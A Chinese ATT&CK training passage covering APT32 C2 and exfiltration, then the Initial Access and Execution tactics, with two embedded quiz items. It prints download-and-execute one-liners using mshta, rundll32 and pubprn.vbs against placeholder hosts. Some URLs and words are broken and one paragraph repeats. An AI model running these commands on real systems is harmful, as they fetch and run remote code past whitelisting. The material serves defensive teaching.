存档收集的数据:APT32的后门在渗透之前已使用LZMA压缩和RC4加密。 根据奇安信威胁情报中心的分析案例,该组织会把收集的信息经过 AES 加密后通过 CURL 库发送出去,如图所示: 最终,加密后的数据发送到 C2,如图所示:
10. 命令控制
(1)应用层协议:Web协议 APT32使用的JavaScript通过HTTP或HTTPS与攻击者控制的域进行通信,以下载其他框架。 该小组还使用了通过HTTP下载的加密有效负载。

(2)应用层协议:邮件协议 APT32已通过Office宏将电子邮件用于C2通信。 (3)非标准端口:APT32后门可以通过后门配置中指定的非标准TCP端口(例如14146)使用HTTP。 根据腾讯御见威胁情报中心提供的案例分析,2019年该组织活动的c2都在中国境内(包括中国香港),这似乎跟之前的攻击活动也不大一样,样本ip如图所示:
11. 数据渗漏
(1)通过备用协议进行的渗透:通过未加密/混淆的非C2协议进行的渗透。APT32的后门可以通过在DNS数据包的子域字段中进行编码来窃取数据。 (2)在C2通道上的渗透:APT32的后门利用其C&C服务器使用已打开的通道来窃取数据。 根据腾讯御见威胁情报中心提供的长期跟踪结果来看,海莲花组织使用最终的恶意软件(无论是第一阶段后门还是第二阶段后门)主要有三种,分别是CobaltStrike的beacon木马、Denis家族木马、修改版的Gh0st。其中CobaltStrike和Denis使用的最多,而修改版的Gh0st则比较少见。 奇安信威胁情报中心通过对海莲花的通用后门进行分析,通过其代码中的特征找到了大量同源样本,如图所示:

测试一下


在初始访问过程中,主要用到的子战术内容或工具有哪些?
|水坑网站=水坑攻击 |钓鱼邮件=网络钓鱼 |定点攻击=鱼叉攻击 |账户凭证=本地账户

前言

从本部分开始,我们将针对12个阶段的战术进行详细解读。该部分内容主要参考于
http://vulhub.org.cn/attack

https://attack.mitre.org/

测试一下


下列哪项不属于ATT&CK的12阶段中的战术内容?|持久化|横向移动|!社会工程|防御规避

Initial Access 简介

初始接入(Initial Access)策略代表攻击者用于在网络中取得初始立足点的(攻击)向量。 其主要包含的战术内容如下:

路过式攻击

路过式攻击是指攻击者通过正常浏览网站的用户获得对系统的访问权。 有了这种技术,用户的 web 浏览器就成为了漏洞利用的目标 这可以通过多种方式实现,但主要有以下几个部分: 有多种方式将漏洞代码交付给浏览器,包括: 合法的网站遭到攻击,其中攻击者注入了某种形式的恶意代码,比如: JavaScript、iFrames、跨站点脚本。 恶意广告通过合法的广告提供商收费和投放。 内置的 web 应用程序接口可用于插入任何其他类型的对象,这些对象可用于显示 web 内容或包含在访问客户端上执行的脚本(例如论坛帖子、评论和其他用户可控制的 web 内容)。 通常,攻击者使用的网站是由特定社区访问的网站,如政府、特定行业或地区,其目标是基于共同利益对特定用户或一组用户进行攻击。 这种有针对性的攻击是指战略性网络攻击或水坑攻击。 有几个已知的例子。 典型的路过式攻击过程: 1. 用户访问托管攻击者控制内容的网站。 2. 脚本自动执行,通常搜索浏览器的版本和插件以查找可能存在漏洞的版本。 可能需要用户通过启用脚本或激活网站组件并忽略告警对话框来协助此过程。 3. 找到易受攻击的版本后,漏洞利用 (exploit) 代码将被发送到浏览器。 4. 如果利用成功,那么它将在用户系统上执行攻击者的代码,除非有其他保护措施。在某些情况下,需要在初始扫描后第二次访问网站,才能发送漏洞利用代码。 与利用面向公众的应用程序(Exploit Public-Facing Application)不同,这种技术的重点是利用正在访问网站的客户端上的软件。 这通常使攻击者获得对内部网络系统的访问权,而可能在 DMZ 中的外部系统。

利用面向公众的应用程序

该技术主要是使用软件,数据或命令利用计算机系统或程序中的缺陷以引起意外或未预料到的行为。其中,系统中的缺陷可以是错误、小故障或设计漏洞。这些应用程序通常是网站,但可以包括数据库(如 SQL)、标准服务(如 SMB 或 SSH) 和任何具有 Internet 可访问的开放套接字的其他应用程序,如 web 服务器和相关服务。

硬件添加

计算机附件、计算机或网络硬件可以作为获得执行的载体引入系统。 虽然 APT 组织使用的公共引用很少,但是许多渗透测试人员利用硬件添加来获得初始访问。 商业和开源产品利用了被动网络访问 、中间人破解 、击键注入 、通过 DMA 读取内核内存、向现有网络添加新的无线访问等功能。

通过可移动媒体进行复制

攻击者可以通过将恶意软件复制到可移动的媒体上,利用媒体插入系统并执行的自动运行特性,转移到系统,这些系统大概在未连通或气隙网络上。在横向移动 (Lateral Movement) 中,可以修改可移动媒体中的可执行文件,或者复制恶意软件并将其重命名,使其看起来像合法文件,从而诱使用户在独立的系统上执行它。对于初始访问(Initial Access),可以通过手动操作媒体、修改用于初始格式化媒体的系统或修改媒体本身的固件来实现。

鱼叉式钓鱼附件

鱼叉式钓鱼附件是鱼叉式钓鱼的一种特殊变体。鱼叉式钓鱼附件不同于其他形式的鱼叉式钓鱼,它是利用附加到电子邮件的恶意软件。所有形式的鱼叉式钓鱼都是以电子方式提供的针对特定个人,公司或行业的社会工程。在这种情况下,攻击者将文件附加到鱼叉式钓鱼电子邮件并通常依赖用户执行(User Execution ) 来获得执行。 附件可以是 Microsoft Office文档、可执行文件、pdf 或存档文件等。 在打开附件(并可能点击过去的保护)时,攻击者的有效载荷会利用漏洞或直接在用户系统上执行。钓鱼式电子邮件的文本通常试图给出一个文件应被打开的合理理由,并可能说明这样做需要如何绕过系统保护。电子邮件还可能包含有关如何解密附件(如 zip 文件密码)以避开电子邮件边界防御的说明。攻击者经常操纵文件扩展名和图标,以便使附加的可执行文件显示为文档文件,或者使应用程序显示为文件的文件。

鱼叉式网络钓鱼链接

带链接的鱼叉式网络钓鱼是鱼叉式网络钓鱼的一种特殊变体。它不同于其他形式的鱼叉式网络钓鱼,它使用链接下载电子邮件中包含的恶意软件,而不是将恶意文件附加到电子邮件,以规避可能检查电子邮件附件的防御。所有形式的鱼叉式钓鱼都是以电子方式进行的针对特定个人,公司或行业的社会工程。在这种情况下,恶意电子邮件包含链接。通常,这些链接将伴随着社会工程文本,并要求用户主动单击或复制 URL 并粘贴到浏览器中,从而利用用户执行(User Execution)。 被访问的网站可能使用 exploit 攻击 web 浏览器,或提示用户下载应用程序、文档、zip 文件,甚至是可执行文件,这取决于电子邮件的托辞 (pretext)。 攻击者还可以包括旨在与电子邮件阅读器直接交互的链接,包括旨在直接利用终端系统或验证电子邮件接收(即网络错误/网络信标)的嵌入式图像。

通过服务进行鱼叉式钓鱼

通过服务进行的鱼叉式网络钓鱼是鱼叉式钓鱼的一种特殊变体。它不同于其他形式的鱼叉式网络钓鱼,它使用的是第三方服务而不是直接通过企业电子邮件渠道。 所有形式的鱼叉式钓鱼都是以电子方式进行的针对特定个人,公司或行业的社会工程。在此场景中,攻击者通过各种社会媒体服务、个人 web 邮件和其他非企业控制的服务发送消息。与企业相比,这些服务更可能具有不太严格的安全策略。和大多数鱼叉式钓鱼一样,钓鱼的目的是与目标建立密切关系,或者以某种方式获得目标的兴趣。攻击者会创建虚假的社交媒体账户,并向员工发送潜在工作机会的信息。这样做为询问环境中运行的服务、策略和软件提供了合理的理由。然后,攻击者可以通过这些服务发送恶意链接或附件。 一个常见的例子是通过社交媒体与目标建立密切关系,然后将内容发送到目标在其工作电脑上使用的个人网络邮件服务。这使攻击者绕过对工作帐户的电子邮件的一些限制,目标很可能打开文件,因为这是他们所期望的。如果有效载荷不能按预期工作,攻击者可以继续正常通信,并对目标进行故障排除,使有效载荷正常工作。

供应链攻击

供应链攻击是指在最终消费者收到产品或产品交付机制之前,为了数据或攻击系统而进行的操纵。 供应链攻击可以发生在供应链的任何阶段,包括: 开发工具的操作 开发环境的操作 对源代码库(公共或私有)的操作 软件更新/分发机制的操作 受攻击/感染的系统镜像(工厂中多例被感染的可移动媒体) 用修改的版本替换合法软件 向合法分销商销售修改/仿冒产品 尽管供应链的攻击可能会影响硬件或软件的任意组件,但想要获得执行的攻击者往往关注在软件分发阶段或更新渠道中对合法软件进行的恶意添加。 可以以特定的受害者群体为目标, 或将恶意软件分发给广泛的消费者群体,但仅对特定受害者的附加策略。

可信关系

攻击者可能会破坏或利用能够接触到目标受害者的组织。 通过可信的第三方关系利用现有的连接,这些连接可能不受保护或者受到的审查比获取网络访问权的标准机制少。 组织通常授予第二或第三方外部提供商高级访问权限,以允许它们管理内部系统。 这些关系的例子包括IT服务承包商、托管安全供应商、基础设施承包商(例如HVAC、电梯、物理安全)。 第三方提供商的访问权可能被限制在被维护的基础设施内,但是可能与企业的其他部分在相同的网络中。 因此可以攻击并利用其他方用于访问内部网络系统的有效帐户(Valid Accounts)。

有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。 被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者可能会选择不把这些凭据提供的合法访问与恶意软件或工具结合使用,使其更加隐蔽。 攻击者也可以创建帐户,有时使用预定义的帐户名称和密码,作为在其他方法失败时通过备用访问获得持久性的一种方法。 跨系统网络的凭据和权限的重叠令人担忧,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。

外部远程服务

诸如 vpn、Citrix 等远程服务和其他访问机制允许用户从外部连接到企业内部的网络资源。 通常由远程服务网关来管理这些服务的连接和凭据验证。 Windows 远程管理 (Windows Remote Management) 等服务也可以在外部使用。 攻击者可以使用远程服务来获取对网络的访问权并维持访问权限。 使用该服务通常需要有效帐户的访问权,可以通过凭证嫁接 (Pharming) 获取或在攻击企业网络后从用户处获得凭证。 访问远程服务可以用作冗余访问的一部分。

Execution 简介

执行(Execution)策略表示造成在本地或远程系统上执行由攻击者控制的代码的技术。该策略通常与初始接入一起使用,作为一旦获得访问就执行代码的手段,之后进行横向移动以扩展对网络上远程系统的访问。

AppleScript

macOS 和 OS X 应用程序相互发送 AppleEvent 消息进行进程间通信 (IPC)。 可以使用 AppleScript 为本地或远程 IPC 轻松编写这些消息。 Osascript 执行 AppleScript 和任何其他开放式脚本编写体系结构 (OSA) 语言脚本。 可以使用 osalang 程序找到安装在系统上的 OSA 语言列表。AppleEvent 消息可以独立发送或作为脚本的一部分发送。 这些事件可以定位打开的窗口,发送击键,并与几乎任何本地或远程打开的应用程序交互。 攻击者可以使用它与打开的 SSH 连接进行交互,移动到远程机器,甚至向用户显示虚假的对话框。 这些事件无法远程启动应用程序(尽管它们可以在本地启动),但可以与远程已运行的程序交互。 由于这是一种脚本语言,因此也可以使用它来启动更常见的技术,比如通过 python 来启动一个反向 shell。 在命令行中通过 osascript path/to/script 或 osascript -e“script here”运行脚本。

CMSTP

Microsoft 连接管理器配置文件安装程序 (CMSTP.exe) 是用于安装连接管理器服务配置文件的命令行程序。 CMSTP.exe 接受安装信息文件 (INF) 作为参数,并安装用于远程访问连接的服务配置文件。 攻击者可以将感染恶意命令的 INF 文件传给 CMSTP.exe。 类似于 Regsvr32 /“Squiblydoo”,攻击者可能滥用 CMSTP.exe 从远程服务器加载和执行 DLL 和/或 COM scriptlet (SCT)。 该执行也可以绕过 AppLocker 和其他白名单防御。因为 CMSTP.exe 是一个合法的、Microsoft 签名应用程序。 CMSTP.exe 还可能被滥用于绕过用户帐户控制,并通过自动提升的 COM 接口执行来自恶意 INF 的任意命令。

命令行界面

命令行界面提供了一种与计算机系统交互的方式,许多操作系统平台都有该功能。在 Windows 系统上命令行界面的一个例子是 cmd,它可以用来执行许多任务,包括执行其他软件。命令行界面可以在本地交互,也可以通过远程桌面应用程序、反向 shell 会话等进行远程交互。执行的命令以命令行界面进程的当前权限级别运行,除非该命令包含更改该执行的权限上下文的进程调用(例如,计划的任务 Scheduled Task)。 攻击者可以使用命令行界面与系统交互,并在操作过程中执行其他软件。

已编译的 HTML 文件

已编译的 HTML 文件 (.chm) 通常作为 Microsoft HTML 帮助系统的一部分分发。 CHM 文件是各种内容(如 HTML 文档、图像)和编程语言相关的脚本/web(如 VBA、JScript、Java 和 ActiveX) 的压缩编译。 CHM 内容使用由 HTML 帮助可执行程序 (hh.exe) 加载的 Internet Explorer 浏览器 的底层组件显示。 攻击者可能会滥用这项技术来隐藏恶意代码。 将包含嵌入式有效载荷的自定义 CHM 文件交付给受害者,然后通过用户执行 (User Execution) 触发。 CHM 的执行也可以绕过旧系统和/或未打补丁的系统上的应用程序白名单,这些系统不考虑通过 hh.exe 执行二进制文件。

控制面板项

Windows 控制面板项是允许用户查看和调整计算机设置的实用程序。 控制面板项是已注册的可执行文件 (.exe) 或控制面板文件 (.cpl),后者实际上被重命名为动态链接库 (.dll) 文件,导出 CPlApplet 函数。 控制面板项可以直接从命令行执行,也可以通过应用程序编程接口 (API) 调用以编程方式执行,或者只需双击文件即可。 为了便于使用,控制面板项在完成注册并加载到控制面板后,通常包括用户可用的图形菜单。 攻击者可以使用控制面板项作为执行有效载荷来执行任意命令。 恶意控制面板项可以通过以鱼叉式钓鱼附件 (Spearphishing Attachment ) 的方式 传递或作为多级恶意软件的一部分执行。 控制面板项,特别是 CPL 文件,也可以绕过应用程序和/或文件扩展名白名单。

动态数据交换

Windows 动态数据交换 (DDE) 是用于应用程序之间的一次性和/或连续进程间通信 (IPC) 的客户端-服务器协议。一旦建立连接,应用程序就可以自主地交换由字符串、温数据链接(数据项更改时的通知)、热数据链接(数据项更改的副本)和命令执行请求组成的事务。 对象链接与嵌入 (OLE),或链接文档间数据的功能,最初是通过 DDE 实现的。尽管 DDE 已被 COM 取代,但可以通过注册表键在 Windows 10 和大部分 Microsoft Office 2016 中启用它。 攻击者可以使用 DDE 执行任意命令。Microsoft Office 文档可以通过 DDE 命令 直接或通过嵌入式文件 被污染,并用于通过钓鱼活动或托管 Web 内容交付执行,避免使用 Visual Basic for Applications (VBA) 宏。DDE 也可以被操作受攻击机器的攻击者利用,该攻击者没有直接的命令行执行权限。

利用 API 执行

攻击者工具可以直接使用 Windows 应用程序编程接口 (API) 来执行二进制文件。诸如 Windows API CreateProcess 这样的函数将允许程序和脚本使用适当的路径和参数启动其他进程,可以用来执行二进制文件的其他 Windows API 调用。

通过模块加载执行

可以指示 Windows 模块加载程序从任意本地路径和任意通用命名规则 (UNC) 网络路径加载 DLL。 这个功能保留在 NTDLL.dll 中,是 Windows 本机 API 的一部分,通过 Win32 API 的 CreateProcess()、LoadLibrary() 等函数调用的。 模块加载器可以加载 DLL:通过指定在 IMPORT 目录中的(绝对或相对)DLL 路径名;通过 EXPORT 转发到另一个 DLL,指定(绝对或相对)路径名(但没有扩展名);通过 NTFS 联结或符号链接 program.exe.local 与包含 IMPORT 或转发的 EXPORTs 的目录中指定的 DLL 的绝对或相对路径名; 通过嵌入或外部的“application manifest”。文件名是指 IMPORT 目录中的条目或转发的 EXPORT。 攻击者可以利用此功能在系统上执行任意代码。

利用客户端执行

软件可能因为不安全的编码实践而出现漏洞,从而导致非预期行为。 攻击者可以通过有针对性的利用某些漏洞来达到任意代码执行的目的。 通常,对于攻击工具最有价值的 exploit 是那些可用于在远程系统上获取代码执行的,因为它们可用于访问该系统。 用户希望看到与他们工作时常用的应用程序相关的文件,因此它们具有高实用性,是漏洞利用研究和发展的有效目标, 存在以下几种类型: A. 基于浏览器的利用 网络浏览器是路过式攻击和鱼叉式钓鱼链接的常见目标。 终端系统可能通过正常的网络浏览或某些用户受到攻击,这些用户被鱼叉式钓鱼电子邮件中的链接定向到用于利用网络浏览器的攻击者控制的网站。 这通常不需要用户操作就可以执行 exploit。 O

ffice 应用程序 常见的办公和生产力应用程序,如 Microsoft office,也是鱼叉式网络钓鱼附件、鱼叉式网络钓鱼链接和通过服务的鱼叉式网络钓鱼的目标。 恶意文件将以附件或下载链接的形式直接传输以下载它们。 这要求用户打开文档或文件以便执行 exploit 。

B. 常见的第三方应用程序 其他常见应用程序或在目标网络中部署的软件的一部分也可以用于漏洞利用。 诸如 Adobe Reader 和 Flash 之类的应用程序(企业环境中常见的应用程序)通常是试图访问系统的攻击者的目标。 一些漏洞可能在浏览器中被利用或需要用户打开文件,具体取决于软件和漏洞的性质。 例如,一些 Flash exploit 已经作为 Microsoft Office 文档中的对象传递。

图形用户界面

图形用户界面 (GUI) 是与操作系统交互的常见方式。攻击者可以在操作期间通常通过远程交互式会话(如远程桌面协议)使用系统的 GUI,而不是通过命令行界面,通过鼠标双击,Windows 的 Run 命令,或其他可能难以监控交互的方式来搜索信息和执行文件。

InstallUtil

InstallUtil 是一个命令行实用程序,它允许通过执行。net 二进制文件中指定的特定安装程序组件来安装和卸载资源。 InstallUtil 位于 Windows 系统的。NET 目录中: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe 和 C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe 具有 Microsoft 的数字签名。 攻击者可以通过受信的 Windows 实用程序使用 InstallUtil 来代理代码的执行。 通过利用执行由
修饰的类的二进制文件中的属性,InstallUtil 还可用于来绕过进程白名单。

LSASS 驱动程序

Windows 安全子系统是管理和执行计算机或域的安全策略的组件集。 本地安全权威 (Local Security Authority, LSA) 是负责本地安全策略和用户身份验证的主要组件。 LSA 包括与各种其他安全功能相关联的多个动态链接库 (DLL),所有这些功能都在 LSA 子系统服务 (LSASS) lsass.exe 上下文中运行。 攻击者可能以 lsass.exe 驱动程序为目标,从而获得执行和/或持久性。 通过替换或添加非法驱动程序(例如,DLL 侧载(DLL Side-Loading)或 DLL 搜索顺序劫持(DLL Search Order Hijacking)),攻击者可以实现由连续 LSA 操作触发的任意代码执行。

Launchctl

Launchctl 控制 macOS 的启动进程,该进程处理诸如启动代理和启动守护进程之类的事情,但是可以自己执行其他命令或程序。 Launchctl 支持交互地在命令行上获取子命令,甚至可以从标准输入重定向。 通过加载或重新加载启动代理或启动守护进程,攻击者可以获得持久性或执行他们 所做的更改。 从 launchctl 运行命令就像 launchctl submit -l - /Path/to/thing/to/execute "arg" "arg" "arg" "arg"一样简单。 可能需要提升特权才可以加载、卸载或重新加载启动代理或启动守护进程。 如果系统允许 launchctl,攻击者可以滥用此功能来执行代码,甚至绕过白名单。

本地作业调度

在 Linux 和 macOS 系统上,有多种方法可以创建预定的和周期性的后台作业:cron、at、和launchd。与 Windows 系统上的调度任务不同,基于 linux 的系统上的作业调度不能远程完成,除非与已建立的远程会话(如 secure shell (SSH)) 结合使用。 A. cron 通过修改/etc/crontab,/etc/cron.d/目录或 Cron 守护进程支持的其他位置可以安装系统级的 cron 作业。而每个用户的 Cron 作业是通过 crontab 使用具有特定格式的 crontab 文件安装的。­它在 macOS 和 Linux 系统上都有效。 这些方法允许在没有用户交互的情况下在后台以特定的周期间隔执行命令或脚本。攻击者可以利用作业调度在系统启动时执行程序或为了持久性而在预定的基础上执行程序, 作为横向移动的一部分执行,获取 root 权限,或者在特定帐户的上下文中运行进程。 B. at at 程序是另一种方式,基于 POSIX 的系统(包括 macOS 和 Linux)。用于将程序或脚本作业安排在之后的日期和/或时间执行,这也可以用于相同的目的。 C. launchd 每个 launchd 作业由不同的配置属性列表 (plist) 文件描述,该文件类似于启动守护进程 (Launch Daemon ) 或启动代理 (Launch Agent),不过它包括名为 StartCalendarInterval 的附加键,该键包含一个时间值的字典。这只适用于 macOS 和 OS X。

Mshta

Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序。 HTA 文件的扩展名是 .hta。 HTAs 是独立的应用程序,使用与 Internet Explorer 的相同模型和技术执行,但不在浏览器内。 攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意。hta 文件和 Javascript 或 VBScript。 已有几个在初始攻击和代码执行阶段利用 mshta.xe 的不同类型的威胁样例。 文件可以由 mshta.exe 通过内联脚本执行:mshta vbscript:Close(Execute(“GetObject(”“script:https
//webserver/payload
sct”“)”)) 也可以直接通过 URL: mshta http
//webserver/payload
hta 执行 Mshta.exe 可用于绕过允许其运行的应用程序白名单解决方案。 因为 mshta.exe 在 Internet Explorer 的安全上下文外执行,它还绕过浏览器的安全设置。

PowerShell

PowerShell 是 Windows 操作系统中一个强大的交互式命令行界面和脚本环境。 攻击者可以使用 PowerShell 执行许多操作,包括披露信息和执行代码。示例包括可以运行可执行文件的 Start-Process cmdlet 和在本地或远程计算机上运行命令的 Invoke-Command cmdlet。 PowerShell 还可以用于从 Internet 下载和运行可执行文件,这些文件可以从磁盘或内存中(无需接触磁盘)执行,使用 PowerShell 连接远程系统需要管理员权限。目前已有许多基于 PowerShell 的攻击测试工具,包括 Empire、PowerSploit、 和 PSAttack。

Regsvcs/Regasm

Regsvcs 和 Regasm 是 Windows 命令行实用程序,用于注册。NET 组件对象模型 (COM) 程序集。 两者都是由 Microsoft 进行数字签名的。 攻击者可以使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序代理代码的执行。 这两个实用程序都可以通过使用二进制文件中的属性来指定在注册或取消注册前应运行的代码,从而绕过白名单: 分别为

。 具有注册和取消注册属性的代码将被执行,即使进程在权限不足的情况下运行且无法执行。

Regsvr32

Regsvr32.exe 是一个命令行程序,用于在 Windows 系统上注册和取消注册对象链接和嵌入控件,包括动态链接库 (DLLs)。 Regsvr32.exe 可用于执行任意二进制文件。 攻击者可以利用此功能来代理代码的执行,以避免触发安全工具,由于 Windows 使用 regsvr32.exe 进行正常操作时的白名单或误报,这些工具可能无法监视 regsvr32.exe 进程的执行和加载的模块。 Regsvr32.exe 也是 Microsoft 签名的二进制文件。 Regsvr32.exe 还可以利用加载 COM scriptlet 以在用户权限下执行 DLL 的功能来绕过进程白名单。 由于 regsvr32.exe 支持网络和代理,因此可以通过在调用期间将统一资源定位符 (URL) 作为参数传递到外部 Web 服务器上的文件来加载脚本。 此方法不对注册表做任何更改,因为 COM 对象实际未注册,仅执行。 该技术的变体通常被称为“Squiblydoo”攻击,并已用于针对政府的活动中。 还可以利用 Regsvr32.exe 来注册用于通过组件对象模型劫持(Component Object Model Hijacking)建立持久性的 COM 对象。 Regsvcs 和 Regasm 是 Windows 命令行实用程序,用于注册。NET 组件对象模型 (COM) 程序集。 两者都是由 Microsoft 进行数字签名的。 攻击者可以使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序代理代码的执行。 这两个实用程序都可以通过使用二进制文件中的属性来指定在注册或取消注册前应运行的代码,从而绕过白名单: 分别为

。 具有注册和取消注册属性的代码将被执行,即使进程在权限不足的情况下运行且无法执行。

Rundll32

可以调用 rundll32.exe 程序来执行任意二进制文件。由于 Windows 使用 rundll32.exe 进行正常操作时会有白名单或误报,攻击者可以利用此功能来代理代码的执行,以避免触发可能未监控 rundll32.exe 进程执行的安全工具的检测。 Rundll32.exe 可通过未记录的 shell32.dll 的 Control_RunDLL 和 Control_RunDLLAsUser 函数来执行控制面板项文件(.CPL)。双击。cpl 文件也可以执行 rundll32.exe。Rundll32 也可用于执行 JavaScript 等脚本。这可以使用类似的语法来完成:rundll32.exe javascript: " ..,RunHTMLApplication ;document.write();GetObject("script:https
/www
example
. com malicious.sct ")"在恶意软件(例如 Poweliks)中已有这种行为。

计划任务

诸如 at 和 schtasks 之类的实用程序以及 Windows 任务计划程序可以安排在指定日期和时间执行的程序或脚本。 还可以在远程系统上计划任务,前提是有正确身份验证以使用 RPC,并且已开启文件和打印机共享。 通常远程系统上 Administrators 组的成员才能在远程系统上计划任务。 攻击者可以使用任务计划来在系统启动时,或在计划的基础上执行程序以实现持久化,作为横向移动的一部分执行远程任务,获得 SYSTEM 权限,或者在指定帐户的上下文下运行进程。

脚本

攻击者可以使用脚本来帮助操作并执行多个操作,否则需要手动执行这些操作。脚本编写对于加速操作任务和减少访问关键资源所需的时间非常有用。一些脚本语言可以通过API与操作系统交互而不是调用其他程序来绕过进程监控机制。Windows的常用脚本语言包括VBScript和PowerShell,但也可以采用命令行批处理脚本的形式。 脚本可以作为宏嵌入到Office文档中,当打开鱼叉式钓鱼附件和其他类型的鱼叉式钓鱼的文件时,可以执行这些宏。恶意的内嵌宏是一种替代的执行方式,而不是利用客户端执行技术(Exploitation for Client Execution)来利用软件,在客户端执行中,攻击者将依赖于允许使用的macos或者用户愿意激活它们。 存在许多流行的攻击框架,它们使用与安全测试人员和攻击者脚本相似的形式。、和PowerSploit是在渗透测试人员中常见的用于攻击和后渗透攻击操作的三个例子,其中包括许多用于规避防御的功能。已知一些攻击者使用PowerShell。

服务执行

攻击者可以通过与 Windows 服务交互的方法(例如服务控制管理器)执行二进制文件,命令或脚本。这可以通过创建新服务或修改现有服务来完成。此技术是在服务持久化或权限提升期间结合创建新服务和修改现有服务一起使用的。

签名的二进制代理执行

具有可信数字证书签名的二进制文件可以在受数字签名验证保护的 Windows 系统上执行。 Windows 安装中默认的几个 Microsoft 签名二进制文件可以用于代理其他文件的执行。 攻击者可能会滥用此行为来执行恶意文件,从而绕过系统上的应用程序白名单和签名验证。 该技术考虑了在现有技术中尚未考虑的代理执行方法。

签名脚本代理执行

具有可信证书签名的脚本可用于代理恶意文件的执行。 这种行为可能会绕过签名验证限制和不考虑这些脚本的应用程序白名单解决方案。 由 Microsoft 签名的 PubPrn.vbs 可用于代理远程站点的执行。 示例命令:cscript C
\Windows\System32\Printing_Admin_Scripts\en-US\pubprn
vbs 127.0.0.1 script:http
//192.168.1.100/hi.png 还有一些其他签名脚本可以以类似的方式使用。

Source

Source 命令将函数加载到当前 shell 中,或在当前上下文中执行文件。这个内置命令可以以两种不同的方式运行:/path/to/filename
或 ./path/to/filename
注意"."后面的空格。如果没有空格,将创建新 shell 来运行程序,而不是在当前上下文中运行程序。该命令通常用于使 shell 可以使用某些特性或函数,或者更新特定 shell 的环境。 攻击者可以任意使用此功能来执行程序。使用该技术执行的文件不需要预先标记为可执行文件。

文件名后的空格

攻击者可以通过更改文件的扩展名来隐藏程序的真正文件类型。对于某些文件类型(特别地,对于拓展名为app 并不适用),在文件名后面追加一个空格将改变操作系统处理该文件的方式。例如,如果有一个名为 evil.bin 的 Mach-O 可执行文件,当用户双击时,它会启动 Terminal.app 并执行。如果该文件被重命名为 evil.txt。然后,当用户双击时,它将启动默认的文本编辑应用程序(不执行二进制文件)。但是,如果文件被重命名为"evil.txt "(注意文件名后的空格)。然后当用户双击时,真正的文件类型取决于操作系统,文件会被恰当处理,同时对应的二进制文件将被执行 。 攻击者可以利用这个特性欺骗用户双击任何格式的看起来友好的文件,并最终执行一些恶意的操作。

第三方软件

在网络环境中可以使用第三方应用程序和软件部署系统来管理(例如,SCCM、VNC、HBSS、Altiris 等)。如果攻击者获得对这些系统的访问权,那么他们可能能够执行代码。 攻击者可以访问和使用安装在企业网络中的第三方应用程序部署系统。通过访问网络范围或企业范围的软件部署系统,攻击者可以在连接到此类系统的所有系统上远程执行代码。这种访问可以用于横向移动到系统,收集信息,或者产生特定效果,例如清除所有终端上的硬盘驱动器。 此操作所需的权限因系统配置而异;直接访问部署服务器时,本地凭据可能就足够了,也可能需要特定的域凭据。但是,系统可能要求管理员帐户进行登录或执行软件部署。

Trap

trap 命令使程序和 shell 可以指定接收中断信号时执行的命令。 一种常见的情况是脚本允许正常终止和处理常见的键盘中断,如 ctrl+c 和 ctrl+d。当 shell 遇到特定的中断时,攻击者可以使用它来注册要执行的代码,以获得执行或作为持久性机制。 Trap 命令的格式如下:trap“命令列表”signals,当接收时到“signals”,将执行“命令列表”。

受信任的开发人员工具

有许多用于软件开发相关工作的实用程序可以用来以多种形式执行代码,以帮助开发、调试和逆向工程。 这些实用程序通常具有合法证书的签名,这些证书使它们可以在系统上执行,并通过可以有效地绕过应用程序白名单防御解决方案的可信进程来代理执行恶意代码。 A. MSBuild MSBuild.exe (Microsoft Build Engine) 是 Visual Studio 使用的软件构建平台。 它使用 XML 格式的项目文件,这些文件定义了构建各种平台和配置的需求。 攻击者可以使用 MSBuild 通过受信的 Windows 实用程序代理代码的执行。 .NET 版本 4 中引入的 MSBuild 的内联任务功能允许将 c#代码插入到 XML 项目文件中。 内联任务 MSBuild 将编译并执行内联任务。 MSBuild.exe 是由 Microsoft 签名的二进制文件,因此当以这种方式使用它时,可以执行任意代码并绕过配置为允许 MSBuild.exe 的应用程序白名单防御。 B. DNX .NET 执行环境 (DNX), DNX.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。 它在 2016 年被淘汰,取而代之的是。NET Core CLI 。 DNX 不存在于 Windows 的标准版本中,并且可能只存在于使用旧版。NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。 可执行文件 dnx.exe 由 Microsoft 签名。 攻击者可以使用 DNX. exe 代理执行任意代码,以绕过允许 DNX 执行的应用程序白名单策略。 RCSI Rcsi.exe 实用程序是用于 c#的非交互式命令行接口,类似于 csi.exe。 Roslyn.net 编译器平台的早期版本提供 Rcsi.exe,但是在集成解决方案中弃用了。 rcsi.exe 由 Microsoft 签名。 在命令行上使用 rcsi.exe 编写和执行 c# .csx 脚本文件。 攻击者可以使用 rcsi.exe 来代理执行任意代码,从而绕过允许 rcsi.exe 执行的应用程序白名单策略。 C. WinDbg /CDB WinDbg 是一个 Microsoft Windows 内核和用户模式调试工具。Microsoft Console Debugger (CDB) cdb.exe 也是用户模式调试器。 这两个实用程序都在 Windows 软件开发工具包中,可以作为独立的工具使用。它们通常用于软件开发和逆向工程,在典型的 Windows 系统中可能找不到。 WinDbg.exe 和 cdb.exe 都是由 Microsoft 签名的。攻击者可以使用 WinDbg.exe 和 cdb.exe 来代理任意代码的执行,从而绕过允许这些实用程序执行的应用程序白名单策略。 其他调试器也可以用于类似的目的,比如内核模式调试器 kd.exe,它也由 Microsoft 签名。 D. Tracker 文件跟踪器 tracker.exe,作为 MSBuild 的一部分包含在。NET 框架中。它用于记录对 Windows 文件系统的调用。

用户执行

